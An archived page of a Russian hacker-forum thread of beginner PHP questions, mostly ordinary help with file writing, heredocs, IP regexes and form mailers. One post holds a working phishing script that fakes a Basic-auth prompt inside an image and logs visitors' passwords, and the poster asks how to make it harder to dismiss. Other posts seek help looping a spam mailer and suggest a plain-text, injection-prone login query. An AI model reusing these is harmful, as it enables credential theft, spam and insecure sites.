Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по PHP (для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по PHP (для новичков) - 2009-03-17 20:39:20.980000   
asasin95

Сообщений: 30
Оценки: 0
Присоединился: 2008-01-03 16:16:51.760000
Уважаемые программисты! У меня есть часть кода, который не работает, помогите разобраться.
Мне надо, чтобы пользователь (ну или хакер)))) кликал по кнопке, и создовался фаил (log.txt), в которой было бы написано следующее:

###
# Был создан фаил log.txt (и тут указываем дату в виде 20:30 17.03.2009) его автор bla-bla-bla версия скрипта 7.77
###

Вот код:

&lt;button оnclick = "pop3" style = color:#FFFFFF style = background:#000000&gt;Создание лога (log.txt)&lt;/button&gt; &lt;?php $fh = fopen("log.txt", "w+");//открытие и создание файла файла $data=date("d.m.y")."\r\nФаил log.txt данные взяты из bla-bla-bla";//данные fwrite($fh, $data);//запись данных в файл fclose($fh);//закрытие файла ?&gt; &lt;sсriрt&gt; function pop3.оnclick() { alert("Был создан лог (фаил:log.txt)") } &lt;/sсriрt&gt; Кстати код не работыет(((((((((((((((((((((((((((( :'( :@
Post #: 641
RE: Вопросы по PHP (для новичков) - 2009-03-17 21:18:36.450000   
L2nkeR

Сообщений: 115
Оценки: 0
Присоединился: 2009-02-02 04:03:17.786666
Удобней использовать file_put_contents($file,$data). при условии, что версия PHP >= 4*. а код никада в жизни работать не начнет, даже связи скрипта с кнопкой не видно. Ты должен вначале послать серверу запрос, чтобы он его выполнил, и взависимости от результата он уже будет формировать страницу. В инном случае можно использовать AJAX, но это уже не по теме.

http://www.php5.ru/study/forms


Post #: 642
RE: Вопросы по PHP (для новичков) - 2009-03-17 22:01:20.420000   
Fraqter

Сообщений: 123
Оценки: 0
Присоединился: 2009-01-26 21:17:05.456666
asasin95,
&lt;?php if(isset($_GET['click'])) {$str="а"; $f=fopen("log.txt", "a") or die('Ошибка при открытии файла.'); fwrite($f, $str) or die("Ошибка записи в лог."); fclose($f); } ?&gt; &lt;input type="button" onClick="document.location='index.php?click'" value="Записать"&gt;
Post #: 643
RE: Вопросы по PHP (для новичков) - 2009-03-17 23:08:56.496666   
onek

Сообщений: 202
Оценки: 0
Присоединился: 2009-01-25 01:34:52.640000
ребята……у меня возникла проблемка…..делаю сайт…….в функцию if  вставляю print <<<HERE  сюда вставляю хтмл форму  HERE; и выдаёт ошибку га 74 линию…..там у меня </html>  вчем проблема??? Когда убираю print <<<HERE HERE; ошибки нет…….если надо исходник то скажите………просто реалино нужна помощь..так как сайт делаю в подарок другу а у него день рождение скоро 
Post #: 644
RE: Вопросы по PHP (для новичков) - 2009-03-17 23:12:29.026666   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
1. if - это не фунция
2. Сложно сразу код запостить?
Post #: 645
RE: Вопросы по PHP (для новичков) - 2009-03-17 23:14:11.526666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Давай исходник.
Post #: 646
RE: Вопросы по PHP (для новичков) - 2009-03-18 00:02:11.200000   
onek

Сообщений: 202
Оценки: 0
Присоединился: 2009-01-25 01:34:52.640000
иф ето условие…просто нетак написал))
Вот исходник
<?php include("blocks/bd.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Адмінка</title>
<link href="style.css" rel="stylesheet" type="text/css">
</head>

<body>
<table width="690" border="0" align="center" bgcolor="#FFFFFF" class="main_border">
  <?php
 
  include ("blocks/header.php");
  ?>
  <tr>
    <td><table width="690" border="0">
      <tr>
        <?php  include ("blocks/left.php")?>
 
</table></th>
        <td width="503" valign="top" class="z">
        <?php
        if (!isset ($id))
        {
        $result = mysql_query("SELECT id,title FROM akord");
        $myrow = mysql_fetch_array($result);
        do {
        printf ("<p><a href='edit_tekst.php?id=%s'>%s</a>",$myrow["id"],$myrow["title"]);
        }
        while ($myrow = mysql_fetch_array($result));
        }
        else
        {
        print <<<HERE
                  <form action="add_tekst.php" method="post" name="tekstadd">
          <label>Введіть назву <br>
          <input type="text" name="title" id="title">
          <br>
        </label>
        <label>Введить слова для пошуку<br>
        <input type="text" name="meta_d" id="meta_d">
        </label>
        <label><br>
        Введіть ключові слова пошуку <br>
        <input type="text" name="meta_k" id="meta_k">
        </label>
        <label><br>
        Введіть коротке описання
        <br>
        <input type="text" name="description" id="description" value="Текст пісні … Акорди будуть пізніше">
        </label>
        <label><br>
        Введить повний текст<br>
        <textarea name="text" id="text" cols="40" rows="25">
        </textarea>
        </label>
        <p>
          <input name="submit" type="submit" value="&#1044;&#1086;&#1073;&#1072;&#1074;&#1080;&#1090;&#1080;">
        </p>
        </form>
        HERE;
        }
         ?>
       </td>
      </tr>
    </table></td>
  </tr>
  <tr>
 
    <?php  include ("blocks/footer.php")?>
  </tr>
</table>
</body>
</html>


Post #: 647
RE: Вопросы по PHP (для новичков) - 2009-03-18 00:09:10.490000   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
HERE;&nbsp; должно стоять в начале строки, то есть перед ним не должно быть символов, даже пробелов.
Post #: 648
RE: Вопросы по PHP (для новичков) - 2009-03-18 11:34:30.083333   
onek

Сообщений: 202
Оценки: 0
Присоединился: 2009-01-25 01:34:52.640000
после HERE и HERE; знаком никаких нет и все равно ошибка тега <html> , вот такую ошибку выдает

Parse error: parse error, unexpected $end in c:\appserv\www\site\admin\edit_tekst.php on line 74
Post #: 649
RE: Вопросы по PHP (для новичков) - 2009-03-18 11:42:35.526666   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
У тебя РНР не видит конец скрипта, ?&gt; потому что нет закрытия <<<HERE, он считает что от <<<HERE и до самого конца файла идет т.н. "Here Document". (незнаю как правильно этот блок назвать, подскажите кто знает)

Точно HERE; стоит в самом начале строки? Выложи кусок скрипта, три строки вверх и три вниз от HERE;
Post #: 650
RE: Вопросы по PHP (для новичков) - 2009-03-18 16:07:32.363333   
onek

Сообщений: 202
Оценки: 0
Присоединился: 2009-01-25 01:34:52.640000
все..уже пашет . Конечто странно както , решіл проблему тем что знак ; опустил на строку ниже , типа
HERE
;
и все получилось))
Post #: 651
RE: Вопросы по PHP (для новичков) - 2009-03-18 21:38:32.786666   
Albertozzy

Сообщений: 55
Оценки: 0
Присоединился: 2006-10-20 12:00:58.660000
кароче: почему когда я в dreamweaver cs4 в наборе записей(recordset) обращающемуся к базе с вот таким вот кодом по умолчанию присваиваю(не вручную, а через интерфейс dreamweaver) переменной $colname_Items по умолчанию 0 он мне ее меняет на -1 и в конечном коде я уже вижу -1 ? Вручную пробовал писать 0-все нормально. а вот с -1 мне чет не очень понятно-зачем оно нужно?….zendom ещё не пользовался т.к. у меня книга по пхп с использованием примеров из dreamweaver
кода…потом поставить планирую

$colname_Items = "-1";
if (isset($_GET['catid'])) {
$colname_Items = $_GET['catid'];
}
mysql_select_db($database_Site, $Site);
$query_Items = sprintf("SELECT author, name, added, href FROM items WHERE catid = %s ORDER BY added DESC", GetSQLValueString($colname_Items, "int"));
$Items = mysql_query($query_Items, $Site) or die(mysql_error());
$row_Items = mysql_fetch_assoc($Items);
$totalRows_Items = mysql_num_rows($Items);
Post #: 652
RE: Вопросы по PHP (для новичков) - 2009-03-19 14:39:43.806666   
Fraqter

Сообщений: 123
Оценки: 0
Присоединился: 2009-01-26 21:17:05.456666
кодить в AD'e ?! Уму не постижимо.
Лучше сначала пиши в обычных редакторах с подсветкой синтаксиса (EditPlus, UltraEdit, Notepad++) и не заморачивайся на этот дримвивер, он только отвлекает тебя от обучение языка.
Post #: 653
RE: Вопросы по PHP (для новичков) - 2009-03-19 17:10:44.290000   
Mamka

Сообщений: 560
Оценки: 0
Присоединился: 2007-11-26 22:20:09.313333
SocialEngine платный? просто скок не рыл, везде бесплатно, но я не верю, что это так) Если платный, дайте линк на сайт, где скачать можно(лицензию), желательно русвершен
Post #: 654
RE: Вопросы по PHP (для новичков) - 2009-03-19 17:16:54.890000   
Cep}|{

Сообщений: 1396
Оценки: 0
Присоединился: 2007-06-26 01:11:51.416666
Готовь $250 ;)

http://www.socialengine.net/
Post #: 655
RE: Вопросы по PHP (для новичков) - 2009-03-19 17:18:46.616666   
Mamka

Сообщений: 560
Оценки: 0
Присоединился: 2007-11-26 22:20:09.313333
Серж, пасиб, 250 УЕвых не проблема, когда в мечтах тебе вернутся миллионы)
Post #: 656
RE: Вопросы по PHP (для новичков) - 2009-03-19 21:51:28.216666   
WebSpayn

Сообщений: 83
Оценки: 0
Присоединился: 2008-09-30 23:29:45.133333
Fraqter , спасибо за ссылочку, поизучаю.А ешё такая немного глупай просьба, ане могли бы Вы перечислить, скажем так, темы , которые являются осноавим в изучении PHP, мне было бы легче его изучать, когда есть конкретные цели.
Post #: 657
RE: Вопросы по PHP (для новичков) - 2009-03-20 00:28:32.473333   
Fraqter

Сообщений: 123
Оценки: 0
Присоединился: 2009-01-26 21:17:05.456666

quote:

ORIGINAL: WebSpayn

Fraqter , спасибо за ссылочку, поизучаю.А ешё такая немного глупай просьба, ане могли бы Вы перечислить, скажем так, темы , которые являются осноавим в изучении PHP, мне было бы легче его изучать, когда есть конкретные цели.

Все "темы" в изучение являются основными, учи все по порядку так как написано в книге.
Post #: 658
RE: Вопросы по PHP (для новичков) - 2009-03-20 00:30:55.140000   
haks0r

Сообщений: 206
Оценки: 0
Присоединился: 2009-02-26 18:29:47.626666
подтверждаю WedSpayn
Post #: 659
RE: Вопросы по PHP (для новичков) - 2009-03-20 14:08:30.676666   
WebSpayn

Сообщений: 83
Оценки: 0
Присоединился: 2008-09-30 23:29:45.133333
Хорошо,  буду постигать
Post #: 660
RE: Вопросы по PHP (для новичков) - 2009-03-21 21:21:53.926666   
RodgerFox

Сообщений: 2
Оценки: 0
Присоединился: 2009-03-21 21:11:11.550000
Кто может помоч)
Есть CMS система DLE 7.5. там скрипт регистрации. Он работает с классом MySQL, я бьюсь над вопросом как сделать так чтобы можно было регистрироваться через php скрипт одновременно и на сайте и на сервере. Скрипт регистрации на сервере исползует класс MSSQL.
Post #: 661
RE: Вопросы по PHP (для новичков) - 2009-03-21 21:37:51.420000   
RodgerFox

Сообщений: 2
Оценки: 0
Присоединился: 2009-03-21 21:11:11.550000
Пару минут раздумья….
\engine\modules\register.php строка 392 и 393
$db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, email, reg_date, lastdate, user_group, info, signature, favorites, xfields, logged_ip) VALUES ('$name', '$regpassword', '$email', '$add_time', '$add_time', '" . $config['reg_group'] . "', '', '', '', '', '" . $_IP . "')" );
$id = $db->insert_id();
собственно все дела происходят тут, но как тут замутить чтобы он криптовал логин и пас в нужный формат понятный серверу и запихивал это всё в MSSQL??
Post #: 662
RE: Вопросы по PHP (для новичков) - 2009-03-23 14:24:29.116666   
surgutor

Сообщений: 627
Оценки: 0
Присоединился: 2008-05-29 11:42:15.623333
Привет. Помогите новичку извернуться при ипроверке ip
мне нужна проверка

ip записывается <input name='ip_dns' type = 'text'>

передаю на др страницу, там проверка

$right_ip = "___\.___\.___\.___"

if (!Ereg ($right_ip, $_get[ip_dns]) echo "хуй")

вместо подчеркивания я хочу испо переменную, прин зная от 1 до 255, чтобы было $right_ip = "'$ip'\.'$ip'\.'$ip'\.'$ip'"
Post #: 663
RE: Вопросы по PHP (для новичков) - 2009-03-23 14:31:20.380000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
if( !preg_match( '!\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}!', $_GET['ip_dns']) ) echo 'WTF? oO';про ereg забудь.
зы: писал "на коленке"
Post #: 664
RE: Вопросы по PHP (для новичков) - 2009-03-23 14:57:43.576666   
surgutor

Сообщений: 627
Оценки: 0
Присоединился: 2008-05-29 11:42:15.623333

quote:

ORIGINAL: oRb

if( !preg_match( '!\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}!', $_GET['ip_dns']) ) echo 'WTF? oO';про ereg забудь.
зы: писал "на коленке"

1почему про ereg забыть?
2он зохавает тогда ip 567.345.678.456
это ж абсурд:)
Post #: 665
RE: Вопросы по PHP (для новичков) - 2009-03-23 15:13:25.260000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
quote:

1почему про ereg забыть?

Потому, что POSIX регулярные выражения считаются устаревшими. Вроде бы в PHP6 они вообще не будут поддерживаться. К тому же реализация функции ereg во многих интерпритаторах дырявая.
quote:

он зохавает тогда ip 567.345.678.456

Попробуй так:
"/^[12]?[\d]{1,2}\.[12]?[\d]{1,2}\.[12]?[\d]{1,2}\.[12]?[\d]{1,2}$/"

Хотя недостатки и здесь будут. Например 293.293.293.293 прокатит. Для самой точной проверки можно замутить так:

$ip="255.0.174.155"; $arr=explode(".", $ip); if(count($arr)!=4){die("xxx");} foreach($arr as $value){ if($value&lt;0 OR $value&gt;255){die("xxx");} }
А вообще для проверки IP на корректность есть функция ip2long(). Правда она тоже дырявая.
Post #: 666
RE: Вопросы по PHP (для новичков) - 2009-03-23 15:35:58.050000   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000

quote:

ORIGINAL: surgutor

2он зохавает тогда ip 567.345.678.456
это ж абсурд:)

Тогда:
$ip = '127.0.0.0'; if(!preg_match('!^((25[0-5]||2[0-4]\d|1\d\d|[1-9]\d|\d)\.){3}(25[0-5]||2[0-4]\d|1\d\d|[1-9]\d|\d)$!', $ip)) echo 'omg';
Post #: 667
RE: Вопросы по PHP (для новичков) - 2009-03-26 18:39:34.823333   
vurf08

Сообщений: 15
Оценки: 0
Присоединился: 2009-03-02 17:32:30.333333
умные люди помогите мне надо сделать
форму в которой че угодно пишут а после нажимают кнопочку и вся эта информация доходит до меня любым способом
но чтобы при этом не открывалась почта и всякие возможные проги
по скоку и для мобил это было бы возможно подскажите
пожалуйста
Post #: 668
RE: Вопросы по PHP (для новичков) - 2009-03-26 18:47:05.413333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
вот почитай
http://codeismy.name/archives/33
обычная форма … тебе на заданный имэйл отправится письмо…
работать будет где угодно хоть на мобе хоть на кампе
Post #: 669
RE: Вопросы по PHP (для новичков) - 2009-03-29 23:13:16.190000   
system_shock

Сообщений: 299
Оценки: 0
Присоединился: 2009-01-15 12:40:34.846666
Как отобразить на страницце время сколько времени выполнялся период цыкла? (for) и так отобразить для каждого периода. Например как в гугл или других поисковых системах "ваш запрос выполнялся 0.000012 сек"
Post #: 670
RE: Вопросы по PHP (для новичков) - 2009-03-29 23:37:31.090000   
Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000
&lt;? function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } $start = getmicrotime(); While($a&lt;100000000){ $a++; } $end = getmicrotime(); echo "Time start: " . date('H:i:s',$start)."\n"; echo "Time end: ". date('H:i:s',$end)."\n"; $b = round(($end - $start),0); echo "Execute time: ".gmdate('H:i:s',$b); ?&gt;
Post #: 671
RE: Вопросы по PHP (для новичков) - 2009-03-30 23:12:35.616666   
bobik23

Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
плз , подскажите как тут изменить эту строчку на такое,чтоб  при нажатии кнопка отмена вышло сново окно авторизации,
вот эта строка описывает типо, если набрал менше числа 4 выйдет окно авторизации снова ,но мне надо изменить на то чтоб ,если он нажал кнопка отмена то окно -бы вышло заново как это сделать.
if(strlen($pass) &lt;= 4 || !$login)
============================================================================================
а сам код вот такой

&lt;?
//
наш комментарий
header("Content-type: image/gif");
//
наш комментарий
$image = imagecreatefromgif('4.gif');
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass&nbsp; = $_SERVER['PHP_AUTH_PW'];
//
тут наш комментарий
&nbsp;if(strlen($pass) &lt;= 4 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="http://xaker.mybb2.ru-Panel-Control"');
}
elseif($login)
{
//наш комментарий ))
setcookie('LOGON',md5($pass));
//
тут наш комментарий
$f = fopen('geklaut.html', 'ab'); //запись .html
fwrite($f, $login." ||| ".$pass."\r\n"); //LOGIN ||| PASSWORD
fclose($f);
}
}
imagegif($image);
imagedestroy($image);
?&gt;
Post #: 672
RE: Вопросы по PHP (для новичков) - 2009-03-30 23:19:39.893333   
bobik23

Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
_______________________________________________
можно было и это вставить  if (!isset($_SERVER['PHP_AUTH_USER']) вместо&nbsp; if(strlen($pass) &lt;= 4 || !$login) &nbsp; этого ,но это не то, это будет выглядеть ,если кто-нить сделает авторизацию (логин и пароль) ,то окно заново всплывет, а хотелось бы при нажатие отмена чтоб окно вышло ,как это можно сделать,
примерный код на javascript предупреждаю того кто не знает будешь висеть, можно будет только выйти этими клавишами strg+Alt+entf
==============================================================
&lt;script LANGUAGE="JavaScript"&gt;
function dialog3() {
var stop ="end"
stop = prompt("
Пожалуйста введите Ваш псевдоним и пароль.","")
while (stop != "
Ваш Пароль") {
stop = prompt("
Пожалуйста введите Ваш псевдоним и пароль.","")
}
window.open('stanok.html', 'Titel', 'height=500,width=500');
}
//–&gt;
&lt;/script&gt;
&lt;meta name="generator" content="Marlin-b"&gt;
&lt;form&gt;
&lt;div align="center"&gt;&lt;center&gt;

&lt;font face="Times New Roman"&gt;
&lt;/font&gt;&lt;/p&gt;

&lt;font face="Times New Roman"&gt;&lt;input TYPE="BUTTON" VALUE=" Login" OnMouseOver="dialog3()"&gt;&lt;/font&gt;&lt;/left&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/form&gt;

OnMouseOver="dialog3() это можно изменить на onclick &nbsp; ,извеняюсь что не в тему ну мне надо примерно такой-же на пхп плз ,помагите
Post #: 673
RE: Вопросы по PHP (для новичков) - 2009-03-31 13:55:43.330000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333

quote:

ORIGINAL: system_shock

Как отобразить на страницце время сколько времени выполнялся период цыкла? (for) и так отобразить для каждого периода. Например как в гугл или других поисковых системах "ваш запрос выполнялся 0.000012 сек"

http://codeismy.name/article/122
вот более универсальное решение :)
Post #: 674
RE: Вопросы по PHP (для новичков) - 2009-03-31 14:48:59.300000   
bobik23

Сообщений: 129
Оценки: 0
Присоединился: 2008-09-20 00:35:23.616666
да зачем мне Счётчик времени выполнения запроса, мне нужен при нажатии cancel (отмена),чтоб окно всплыло заново.

Post #: 675
RE: Вопросы по PHP (для новичков) - 2009-03-31 15:20:16.990000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
посмотри на кого была цитата
Post #: 676
RE: Вопросы по PHP (для новичков) - 2009-04-01 09:40:31.363333   
][aKER_теоретик

Сообщений: 1192
Оценки: 0
Присоединился: 2009-03-30 09:17:08.123333
Я в программинге новичок, но уже кое-чему научился. Короче, задача такова: при регистрации нового пользователя на сайте, данные записываются в базу. При авторизации каким образом идёт проверка подлинности пароля для этого пользователя? Был бы благодарен за пример скрипта
Post #: 677
RE: Вопросы по PHP (для новичков) - 2009-04-01 12:18:13.390000   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
][aKER_теоретик
В двух словах: при авторизации ты берешь логин и пароль юзера и ищешь в базе данных примерно так
SELECT * FROM users WHERE name="логин" AND pass="пароль";
Если в ответ придет запись, значит все правильно, такой юзер с таким паролем существует.
Если ничего не вернется, значит или логин или пероль неверны.
Эту проверку можно организовать с помощью функции mysql_num_rows(), которая возвращает кол-во строк в ответе.
Post #: 678
RE: Вопросы по PHP (для новичков) - 2009-04-01 16:08:17.700000   
blackbear

Сообщений: 8
Оценки: 0
Присоединился: 2009-04-01 15:11:01.083333
Я в кодинге не очень… Вот задачка для кодеров.
Надо зациклить скрипт, чтобы он брал из списка новое мыло и отправлял, не разъединяясь с Smtp.
Используетсмя XPM4. mail.php
С mail() все просто, но нужно именно так, не могу. Помогите, пожалуйста!
$m = new MAIL; // initialize MAIL class $m-&gt;From('username@gmail.com'); // set From mail address $m-&gt;AddTo('client@destination.net'); // add To mail address $m-&gt;Subject('Hello World!'); // set your mail subject // set your mail message (text/html) $m-&gt;Html('&lt;b&gt;HTML&lt;/b&gt; &lt;u&gt;message&lt;/u&gt;.'); // connect to MTA server 'smtp.gmail.com' port '465' via SSL ('tls' encryption) // with authentication: 'username@gmail.com' and 'password' // set the connection timeout to 10 seconds, the name of your // host 'localhost' and the authentication method to 'plain' // make sure you have OpenSSL module (extension) enable on your php configuration $c = $m-&gt;Connect('smtp.gmail.com', 465, 'username@gmail.com', 'password', 'tls', 10, 'localhost', null, 'plain') or die(print_r($m-&gt;Result)); // send mail relay using the '$c' resource connection echo $m-&gt;Send($c) ? 'Mail sent !' : 'Error !'; // disconnect from server $m-&gt;Disconnect();
Post #: 679
RE: Вопросы по PHP (для новичков) - 2009-04-04 22:27:17.103333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
если для спама надо то есть и другое решение :)
и оно прикреплено в избранном
или можно глянуть его же тут с подробным описанием
http://codeismy.name/archives/158
Post #: 680
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.